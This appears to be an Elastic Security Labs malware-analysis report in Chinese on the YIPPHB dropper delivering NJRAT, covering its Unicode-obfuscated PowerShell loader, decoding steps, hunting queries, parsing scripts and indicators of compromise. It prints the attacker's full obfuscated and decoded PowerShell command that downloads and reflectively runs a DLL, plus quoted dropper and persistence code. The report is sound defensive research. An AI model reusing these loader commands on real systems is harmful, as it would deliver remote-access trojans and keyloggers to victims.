与 YIPPHB 滴管共度时光

Elastic Security Labs 发现了一种有趣的方法,可以阻止对 YIPPHB 滴管和 RAT 植入程序的检测。

阅读时间:27 分钟Threat Intelligence, Malware Analysis
使用 YIPPHB dropper 进行时间管理

关键要点

  • Elastic Security Labs 在 12 上发现了使用类似 TTP 的活动集群,即用 Unicode 图标对 Base64 编码字符串进行线程处理,以加载 YIPPHB 驱动程序。
  • YIPPHB 是一种不复杂但有效的滴注器,用于输送 RAT 植入物,至少可追溯到 2022 年 5 月。
  • 初始访问尝试使用 Powershell 中嵌入的 Unicode 图标来延迟自动分析。

前言

在审查遥测数据时,Elastic Security Labs 发现在执行 Powershell 时存在异常参数。经过仔细检查,发现 Base64 编码字符串中使用了 Unicode 图标。使用替代机制将图标替换为 ASCII 字符。

一旦图标被替换为 ASCII 字符,收集 Base64 编码文件和反向 URL 的重复过程就会被用来执行滴管和全功能恶意软件植入。滴管和恶意软件植入物后来分别被确认为 YIPPHB 和 NJRAT。

这项研究的重点如下

  • 装载机阶段
  • 滴管阶段
  • RAT 阶段
  • 活动集群
  • 网络基础设施
  • 猎捕查询

分析

对该入侵集的分析描述了一种混淆方法,我们认为这种方法旨在规避对 PowerShell 命令的自动分析,我们将其描述为初级和规范性的。

装载机阶段

在分析 Elastic 遥测技术中的 Powershell 命令时,我们发现 Powershell 命令中嵌入了 Unicode 图标。使用 Unicode 混淆 Powershell 命令并不是我们观察到的一种技术。

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $iUqm = 'JABSAG8AZABhAEMAbwBwAHkAIAA9ACAAJwATIK8ArwATIBMgrwATIBMgrwCvACcAOwBbAEIAeQB0AG⌚⌚⌚AWwBdAF0AIAAkAEQATABMACAAPQAgAFsAcwB5AHMAdABlAG0ALgBDAG8AbgB2AG⌚⌚⌚AcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQA⌚⌚⌚wB0AHIAaQBuAGcAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAG⌚⌚⌚AdAAuAFcAZQBiAEMAbABpAG⌚⌚⌚AbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQA⌚⌚⌚wB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwB0AGkAbgB5AH⌚⌚⌚AcgBsAC4AYwBvAG0ALwAyAG⌚⌚⌚AcgBwAGgANgBjAHMAJwApACkAOwBbAHMAeQBzAHQAZQBtAC4AQQBwAHAARABvAG0AYQBpAG4AXQA6ADoAQwB1AHIAcgBlAG4AdABEAG8AbQBhAGkAbgAuAEwAbwBhAGQAKAAkAEQATABMACkALgBHAG⌚⌚⌚AdAB⌚⌚⌚AHkAcABlACgAJwBOAHcAZwBvAHgATQAuAEsA⌚⌚⌚ABKAGEATgBqACcAKQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAJwBQAF⌚⌚⌚AbABHAEsAQQAnACkALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAWwBvAGIAagBlAGMAdABbAF0AXQAgACgAJwB0AHgAdAAuADAAMAAwADgAdABjAG8AMAAxAC8AMQA3ADkAOAAxADIAOAAyADQAOQAzADgAMgA4ADgANAAzADAAMQAvADMAMgA1ADkANwAxADkAMgA0ADkAOQA2ADMANgA1ADYANQA5AC8AcwB0AG4AZQBtAGgAYwBhAHQAdABhAC8AbQBvAGMALgBwAHAAYQBkAHIAbwBjAHMAaQBkAC4AbgBkAGMALwAvADoAcwBwAHQAdABoACcAIAAsACAAJABSAG8AZABhAEMAbwBwAHkAIAAsACAAJwAQEMwGJwbMBicAIAApACkA';$OWjuxD = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $iUqm.replace('⌚⌚⌚','U') ) );$OWjuxD = $OWjuxD.replace('-¯¯--¯--¯¯', '[redacted].vbs');powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command $OWjuxD

虽然这种技术并不复杂,只是用 ASCII 字符替换图标,但却很有创意。除非完全执行 Powershell 命令或利用分析工作流程处理 Unicode 和替换函数,否则这种技术可能会延迟对 Base64 编码字符串的自动分析。

通过查看 Powershell 命令,我们可以发现一个简单的过程,即用U 替换 Unicode 手表图标 (231A↩⌚⌚):CyberChef.

通过加载 "查找/替换"、"解码 Base64 "和 "解码文本 (UTF-16LE) "食谱,我们可以解码 Powershell 字符串。

在解码字符串中,我们可以看到装载器、后续滴管和植入物是如何安装的。

$RodaCopy = '-¯¯--¯--¯¯';[Byte[]] $DLL = [system.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('https://tinyurl[.]com/2erph6cs'));[system.AppDomain]::CurrentDomain.Load($DLL).GetType('NwgoxM.KPJaNj').GetMethod('PUlGKA').Invoke($null, [object[]] ('txt.0008tco01/1798128249382884301/325971924996365659/stnemhcatta/moc[.]ppadrocsid.ndc//:sptth' , $RodaCopy , 'တیای' ))

加载程序可从https://tinyurl[.]com/2erph6cs 下载。TinyURL 是一种流行的 URL 缩短服务,虽然它有非常合法的用途,但也可能被滥用来隐藏混入正常网络流量的恶意 URL。

要展开 TinyURL,我们可以使用Unshorten.me 的 JSON API 端点:

$ curl https://unshorten.me/json/tinyurl[.]com/2erph6cs
{
    "requested_url": "tinyurl[.]com/2erph6cs",
    "success": true,
    "resolved_url": "https://cdn.discordapp[.]com/attachments/1023796232872792096/1023798426636402818/dllsica.txt",
    "usage_count": 3,
    "remaining_calls": 8
}

从 Discord 内容交付网络下载dllsica.txt后,我们获得了另一个 Base64 编码字符串。与之前的 Powershell 字符串不同,dllsica.txt中的字符串无需替换即可轻松解码。

使用catbase64xxdhead命令行工具,我们可以看到该文件的十六进制值为4d5a,文件头中有一个 MZ 魔法编号。这证明我们正在分析一个 PE 文件。

  • cat- 对文件进行分类
  • base64 -D-D开关解码 base64 编码文件
  • xxd- 创建输入内容的十六进制转储文件
  • head- 返回文件的前 10 行
$ cat dllsica.txt | base64 -D | xxd | head

00000000: 4d5a 9000 0300 0000 0400 0000 ffff 0000  MZ..............
00000010: b800 0000 0000 0000 4000 0000 0000 0000  ........@.......
00000020: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000030: 0000 0000 0000 0000 0000 0000 8000 0000  ................
00000040: 0e1f ba0e 00b4 09cd 21b8 014c cd21 5468  ........!..L.!Th
00000050: 6973 2070 726f 6772 616d 2063 616e 6e6f  is program canno
...truncated...

接下来,我们对二进制文件进行了去伪处理,将其写入磁盘,然后生成 SHA-256 哈希值。

  • 文件- 验证文件类型
  • shasum -a 256- 256 开关使用 256 位散列算法
$ cat dllsica.txt | base64 -D > dllsica.bin

$ file dllsica.bin
dllsica.bin: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows

$ shasum -a 256 dllsica.bin
49562fda46cfa05b2a6e2cb06a5d25711c9a435b578a7ec375f928aae9c08ff2

现在,加载器已被收集,它将执行NwgoxM.KPJaN 类中的PUlGKA方法。原始 Base64 解码字符串

…truncated…
GetType('NwgoxM.KPJaNj').GetMethod('PUlGKA').Invoke($null, [object[]]
...truncated…:

我们今后可能会发布有关该加载程序的研究成果,它通过将自身复制到用户的启动文件夹中,作为一个本地支持的 VBscript 来保持访问权限。

FileSystem.FileCopy(RodaCopy, Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\" + NameCopy + ".vbs");

滴管阶段

从上面的加载程序执行图像中,我们可以看到加载程序使用了一个反向变量(text = bdw6ufv4/moc[.]lruynit//:sptth)使用 TinyURL 下载附加文件。使用命令行工具rev,我们可以纠正颠倒的 URL。

$ echo "bdw6ufv4/moc.lruynit//:sptth" | rev

https://tinyurl[.]com/4vfu6wd

我们可以使用 Unshorten.me JSON API 端点展开 TinyURL,以确定滴管的下载位置。

$ curl https://unshorten.me/json/tinyurl[.]com/4vfu6wd
{
    "requested_url": "tinyurl[.]com/4vfu6wd",
    "success": true,
    "resolved_url": "https://cdn.discordapp[.]com/attachments/1023796232872792096/1023796278213234758/pesica.txt",
    "usage_count": 2,
    "remaining_calls": 9
}

从 Discord 下载了另一个编码文件:pesica.txt。截至本文撰写时,VirusTotal 报告对该文件的检测为零。

根据dllsica.bin提供的线索,我们可以看到pesica.txt使用 UTF-8 编码。要进一步分析文件,我们需要用A替换▒▒▒▒值,并对生成的字符串进行 Base64 解码。

…truncated…
string text = "bdw6ufv4/moc[.]lruynit//:sptth";
string text2 = new WebClient
{
	Encoding = Encoding.UTF8
}.DownloadString(Strings.StrReverse(text));
text2 = Strings.StrReverse(text2);
text2 = text2.Replace("▒▒▒▒", "A");
string text3 = new WebClient().DownloadString(Strings.StrReverse(_5));
text3 = Strings.StrReverse(text3);
…truncated…
	{
	text4 + "\\InstallUtil.exe",
	Convert.FromBase64String(text3)
	});
…truncated…

我们可以通过 CyberChef 堆叠食谱来实现这些功能。

解码pesica.txt后,我们将计算散列值bba5f2b1c90cc8af0318502bdc8d128019faa94161b8c6ac4e424efe1165c2cfpesica.txt的解码输出显示了YippHB模块名称。

...truncated...
ToInt16
<Module>
YippHB
ResumeThread_API
...truncated...

YIPPHB 的滴管名称就来源于这个模块名称。YIPPHB 最初是由安全研究员Paul Melson 发现的。保罗于 2022 年 10 月在奥古斯塔 BSides 安全会议上公开披露了这一漏洞。

使用Installutil.exe命令行实用程序执行 YIPPHB 驱动程序,启动 RAT 阶段。

我们将下一阶段称为 RAT 阶段。在这一阶段,我们能够收集到的所有二进制文件都是 RAT 植入程序(NJRAT、LIMERAT 和 ASYNCRAT);不过,该入侵集的模块化特性允许使用任何植入类型。

RAT 阶段

既然 YIPPHB 驱动程序已经执行,它就会拾取原始 Unicode 图标脚本的第二部分来安装 RAT 植入程序。

…truncated…
('txt.0008tco01/1798128249382884301/325971924996365659/stnemhcatta/moc.ppadrocsid.ndc//:sptth' , $RodaCopy , 'တیای' ))

RAT 从https://cdn.discordapp[.]com/attachments/956563699429179523/1034882839428218971/10oct8000.txt 上获取,它从txt.0008tco01/1798128249382884301/325971924996365659/stnemhcatta/moc[.]ppadrocsid.ndc//:sptth 上反转。

查看10oct8000.txt文件,我们可以看到这是一个反转的 Base64 编码文件。

=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA…truncated…

我们可以使用命令行工具rev和 base64 对该文件进行校正和Base64解码,并将输出保存为10oct8000.bin

$ cat 10oct8000.txt | rev | base64 -D > 10oct8000.bin

10oct8000.bin的 SHA256 哈希值为1c1910375d48576ea39dbd70d6efd0dba29a0ddc9eb052cadd583071c9ca7ab3。该文件在 VirusTotal 上被报告为LIMERATNJRAT恶意软件家族的变种(取决于来源)。

与装载机和 YIPPHB 滴管一样,我们将了解 RAT 的一些基本功能,但不会完全颠覆它。通过对这些能力的研究,我们发现以前的研究将该样本与 NJRAT 或 LIMERAT 联系起来(1,2)。

RAT 通过连接命令和控制服务器开始执行例行程序。在一个单独的线程中,它还启动了一个键盘记录程序,以收集尽可能多的信息。

在与命令和控制服务器的连接中,RAT 使用作为全局变量列出的配置信息。victimName 变量 (TllBTiBDQVQ=) 是一个 Base64 编码字符串,解码为 "NYAN CAT"。根据代码与已知 NJRAT 代码库的相似性,这些 C2 配置信息使我们更加确信这与 NJRAT 有关。

如果 RAT 连接到正在监听命令的命令和控制服务器,则会发送以下附加信息:

  • 受害者名称 (vn)
  • 硬件 ID
  • 用户名
  • OSFullName
  • 操作系统版本 服务包
  • 程序文件 "文件夹是否以X86结尾
  • 如果有网络摄像头
  • 窗口名称
  • 对注册表进行权限检查

如果成功连接到 C2 服务器,操作员就能通过一系列命令与植入体进行交互。安全研究人员希多-科恩(Hido Cohen)和 CyberMasterV在这里这里对这些命令以及 RAT 的整体功能进行了详尽的解释

活动集群

我们通过遥测数据进行了进一步搜索,确定了几个活动集群。我们在下面提供了一个 EQL 查询:

intrusion_detection where (process.pe.original_file_name == "PowerShell.EXE" and process.command_line like "*Unicode.GetString*" and process.args like "*replace*")

通过该查询,我们可以确定同时使用 Unicode 字符和替换功能的 Powershell 活动。

通过观察这些结果,我们可以根据变量名和 Unicode 图标对活动进行分组。在这一初步研究的例子中,一个群组是变量iUqm和 ⌚⌚Unicode 图标。

群组 ID变量统一码图标 + 数字流行率百分比(四舍五入)
1ngfYq" (U+275E)1%
2鳕鱼❤ (U+2764)1%
3iUqm⌚ (U+231A)9%
4iUqm⚔ (U+2694)6%
5鳕鱼⁂ (U+2042)62%
6iUqm✌ (U+270C)1%
7鳕鱼⏏ (U+23CF)1%
8Cg1O☈ (U+2608)5%
9鳕鱼♔ (U+2654)10%
10iUqmﭏ (U+FB4F)1%
11鳕鱼_*/}+/_=1%
12iUqm☈ (U+2608)2%

值得注意的是,群组 11 使用了与其他群组相同的所有技术,但没有使用 Unicode 图标进行替换,而是使用了一系列 ASCII 字符 (_*/}+/_=)。入侵的操作方式相同,我们不清楚为什么这个群组不使用 Unicode 图标。

收集和解析网络数据

为了扩大对该入侵集的分析范围,我们希望从进程命令行中自动提取加载器和滴注器编码的 URL。场和 RAT 植入物使用的后续 C2。

装载机和投放器

如加载器和投放器阶段所述,Base64 编码字符串需要替换 Unicode 图标,并进行反转和解码。经过这一过程后,第一个 URL 即可使用,而第二个 URL 则需要再次反转。

为了避免执行 Powershell 命令本身,我们可以利用文本处理工具awk。下面将详细介绍如何进行分析,我们将提供一个包含所有分析的 shell 脚本供参考。

开始时,我们需要在命令行上获取数据,并将其导入awk。我们已经 发布了一个 名为 eql-query 的 工具 (还有一个名为 lucene-query 的 工具 )来实现这一功能。

使用eql-query,我们可以运行 EQL 查询来检索最近 180 天的结果,只检索process.command_linefield.从命令行中执行此操作的价值在于,它允许我们进一步解析数据,并提取出更多感兴趣的字符串。

eql-query --since 'now-180d/d' --size=1000 --compact --fields 'process.command_line' 'intrusion_detection where (process.pe.original_file_name == "PowerShell.EXE" and process.command_line like "*Unicode.GetString*" and process.args like "*replace*")'

接下来,使用jq 将原始字符串传递给awk,方法是jq '._source.process.command_line' -r | awk

如果要反复操作,最好将eql-query的结果写入文件,然后在本地对结果进行操作,直到管道达到您想要的效果。

下一步是捕获 Powershell替换命令中使用的字符串,以便我们自己执行该功能。使用awk的最佳方法是用正则表达式捕获它们。

这与要替换的第一个和第二个参数相匹配。第一个参数是 Unicode,可能对awk模式不友好,因此我们需要先将其转义。完成替换后,我们将打印出 "干净 "的代码、要查找的字符串以及替换后的文本。

function escape_string( str ) {
    gsub(/[\\.^$(){}\[\]|*+?]/, "\\\\&", str)
    return str
}
{
    match($0, /replace\('\''(.*)'\'' *, *'\''(.*)'\''/, arr);
    str=escape_string(arr[1]);
    rep=arr[2];
    print gensub(str, rep, "g")
}

最后,我们可以使用另一个 regex 将 Base64 代码提取出来,并显示经过混淆的 Powershell 脚本。

grep -oP ''\''\K[A-Za-z0-9+/]+={0,2}(?='\'';)'

这将自动执行我们在上文装载器、投放器和 RAT 阶段概述的手动转换过程。

$RodaCopy = '-¯¯--¯--¯¯';[Byte[]] $DLL = [system.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('https://tinyurl[.]com/2erph6cs'));[system.AppDomain]::CurrentDomain.Load($DLL).GetType('NwgoxM.KPJaNj').GetMethod('PUlGKA').Invoke($null, [object[]] ('txt.0008tco01/1798128249382884301/325971924996365659/stnemhcatta/moc[.]ppadrocsid.ndc//:sptth' , $RodaCopy , 'တیای' ))

不过,Powershell 的默认编码是 UTF-16LE ,而 awk 只支持 UTF-8 或 ASCII 编码。一个名为iconv的工具可以进行必要的转换。

echo "${line}" | base64 -d | iconv -f UTF-16 -t UTF-8 | awk '{ if ( match($0, /'\''([^'\'']+\/\/:s?ptth)'\''/, arr)) { n=split(arr[1],arr2,""); for(i=1;i<=n;i++){s=arr2[i] s}; print s}; if ( match($0, /'\''(https?:\/\/[^'\'']+)'\''/, arr)){ print arr[1] } }'

转换完成后,剩下的就是直接解析了。我们的输出将包含url1url2和 Unicode 字符串副本及其替换。URL 分别是每个代码样本的正向 URL 和反向 URL。

统一码图标更换url1url2
⌚⌚⌚Uhttps://tinyurl[.]com/2erph6cshttps://cdn.discordapp[.]com/...truncated.../10oct8000.txt
⌚⌚⌚Uhttp://91.241.19[.]49/ARTS/dllf3txthttp://91.241.19[.]49/test/new/ZX1.txt
Ahttp://20.231.55[.]108/dll/06-07-2022.PDFhttp://212.192.246[.]226/dsaffdffa.txt

欲了解更多详情,或根据自己的数据进行尝试,请参阅将其整合在一起的shell 脚本

现在,我们已经实现了自动收集和解析加载器和投放器 URL 的功能,可以继续使用 RAT 基础设施了。

老鼠

从最初的 Powershell 脚本中可以看出,我们知道 RAT 使用了额外的网络基础设施。要枚举这些内容,我们需要像使用滴管一样下拉 RAT,为上一步输出的每个url1url2获取一组唯一的 URL,在每个列表中循环,然后使用curl下载它们。

这一过程需要与对手拥有或控制的基础设施进行互动。与对手的基础设施互动需要严谨的准备工作,但并非所有组织都做好了准备。如果您对法律考虑因素、防御性网络出口点、沙箱、情报获取/丢失策略等知识还不太了解,下面将为您提供相关信息。

由于加载程序从不将下载的文件保存到磁盘,而且文件名也不总是固定的,所以为了跟踪样本,我们将使用一个简单的计数器。这样就形成了一个简单的循环:

ctr=1
for line in $(cat ../url-1.txt); do
    curl -v -A "${USER_AGENT}" -o "file-${ctr}" -L --connect-timeout 10 "${line}" 2>>"log-${ctr}.txt"
    ctr=$((ctr + 1))
done

我们使用-v来捕获请求和响应标头,使用-L来跟踪重定向,使用--connect-timeout来在基础设施停机时加快处理速度。最后,将curl 的输出保存到日志文件中,而下载的文件则保存为文件-X,其中X是计数器的值。

下载的任何 RAT 文件都是 Base64 编码的。我们可以使用文件命令识别有效的 Base64 编码文件。Base64 编码文件将被识别为 "ASCII 文本,行很长(长度),无行结束符",其中长度为文件大小。对于符合这种语言的文件,我们将对其进行解码,并以.dll保存延长。

for entry in $(file file-?? | awk -F": " '$2 ~ /^ASCII text.*very long lines/  {print $1}'); do
    rev  <"${entry}" | base64 -d >"${entry}.dll"
done

现在我们有了 RAT 二进制文件,可以对它们进行一些典型的静态分析。如果您有VirusTotal 命令行工具并能进行 API 查询,搜索已知文件只需在所有已保存的dll文件中简单循环即可。

for entry in *.dll; do
	hash=$(sha256sum "${entry}" | awk '{print $1}')
	vt search "${hash}" >"${entry}.vt.yml"
done

查看输出结果,我们可以发现任何yml文件(vt命令输出结果)的字节数为0都意味着不匹配。VirusTotal 未知这些文件。在此输出中,我们可以看到file-30.dllfile-31.dllfile-34.dll在 VirusTotal 中是未知的。

$ ls -s *.dll{,.vt.yml}

 32 file-28.dll
 32 file-28.dll.vt.yml
 32 file-30.dll
  0 file-30.dll.vt.yml
 32 file-31.dll
  0 file-31.dll.vt.yml
468 file-34.dll
  0 file-34.dll.vt.yml
 48 file-35.dll
 40 file-35.dll.vt.yml
 80 file-38.dll
 36 file-38.dll.vt.yml

我们要进行的最后一项分析是尝试从 DLL 中转录任何域名。对于许多可执行文件格式,字符串命令可以提供这些信息。不幸的是,这些 DLL 大多是 .Net 程序集,而字符串命令无法从 .Net 程序集中提取字符串。在本例中,文件命令可以再次帮助我们识别这些文件:

$ file file-31.dll
file-31.dll: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

.Net的优点是易于反汇编,Mono项目提供了一个专门用于反汇编的工具--ikdasm。这样,我们就有了搜索域名或 HTTP URL 引用的最后一个循环。

for item in *.dll; do
    ikdasm "${item}" | grep -E '(\.(org|com|net|ly))|((yl|ten|moc|gro)\.)|("http|ptth")';
Done

欲了解更多详情,请参阅此shell 脚本,它将第二阶段的分析汇总在一起。

钻石模型

Elastic Security utilizes the Diamond Model to describe high-level relationships between adversaries and victims of intrusions.

观察到的对手战术和技术

Elastic 使用 MITRE ATT&CK 框架来记录高级持续性威胁针对企业网络使用的常见策略、技术和程序。

战术

策略代表了技术或子技术的原因。 这是对手的战术目标:采取行动的原因。

技术/子技术

技术和子技术代表对手如何通过执行某个动作来实现战术目标。

检测逻辑

行为规则

猎捕查询

在 Powershell 中识别 Unicode 可以使用 KQL 或 EQL 查询。

KQL 和 EQL 的事件都是通过 Elastic Defend 集成与 Elastic Agent 一起提供的。

KQL query

使用 Kibana 中的 "发现 "应用程序,下面的查询将识别使用 Unicode 字符串的 Powershell。虽然这确定了本研究中的所有事件,但也确定了不属于 REF4526 入侵集的其他事件。

在大量事件中,使用前面和后面的通配符 (*) 搜索的代价可能会很高。

process.pe.original_file_name : "PowerShell.EXE" and process.command_line : (*Unicode.GetString* and *replace*)

EQL 查询

使用 Kibana 中 "相关性 "选项卡下的 "安全解决方案 "时间线部分,该查询将识别使用 Unicode 字符串和替换功能的 Powershell。这确定了所有观测到的 REF4526 事件。

intrusion_detection where (process.pe.original_file_name == "PowerShell.EXE" and process.command_line like "*Unicode.GetString*" and process.args like "*replace*")

参考资料

上述研究参考了以下内容:

可观察对象

所有可观察数据均可通过组合 zip 包以 ECS 和 STIX 格式下载

本研究讨论了以下可观察的结果。

可观测类型参考Note
49562fda46cfa05b2a6e2cb06a5d25711c9a435b578a7ec375f928aae9c08ff2SHA-256dllsica.bin初始装载器
bba5f2b1c90cc8af0318502bdc8d128019faa94161b8c6ac4e424efe1165c2cfSHA-256pesica.binYIPPHB 下载器
1c1910375d48576ea39dbd70d6efd0dba29a0ddc9eb052cadd583071c9ca7ab3SHA-25610oct8000植入 NJRAT
https://cdn.discordapp[.]com/attachments/956563699429179523/1034882839428218971/10oct8000.txtURL装载机阶段NJRAT 下载位置
https://tinyurl[.]com/2erph6csURL装载机阶段REF4526 装载机下载位置
https://tinyurl[.]com/4vfu6wdURL滴管阶段YIPPHB 下载位置
wins10ok.duckdns[.]org域名NJRAT C2不适用

分享这篇文章